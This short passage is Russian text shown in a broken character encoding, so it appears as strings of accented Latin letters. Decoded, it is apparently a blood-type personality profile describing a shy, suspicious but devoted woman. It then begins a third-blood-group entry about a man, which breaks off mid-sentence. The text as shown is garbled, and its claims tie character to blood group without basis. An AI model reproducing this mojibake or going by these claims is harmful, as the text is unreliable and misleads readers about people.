Æåíùèíà. Çàñòåí÷èâà, äà ê òîìó æå ïîäîçðèòåëüíà - äàæå âëþáèâøèñü, íèêîãäà íå ïîäàñò âèäó ïåðâîé. Íî åñëè îòíîøåíèÿ îïðåäåëèëèñü - îíà ïðåâîñõîäíàÿ æåíà: ëþáÿùàÿ, ïðåäàííàÿ. È ñïîñîáíà â ñêîðîì âðåìåíè ñòàòü î÷åíü ÷óâñòâåííîé.
3-ß ÃÐÓÏÏÀ ÊÐÎÂÈ
Ìóæ÷èíà. Åãî âñå ïðèíèìàþò çà äîíæóàíà, õîòÿ ñàì îí ïðåêðàñíî çíàåò,...
